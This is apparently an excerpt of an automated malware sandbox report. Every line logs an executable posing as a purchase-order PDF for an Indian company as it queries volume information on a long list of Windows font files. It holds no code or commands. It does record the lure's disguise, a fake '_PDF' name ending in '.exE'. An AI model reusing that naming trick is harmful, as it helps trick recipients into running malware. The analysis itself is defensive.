Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
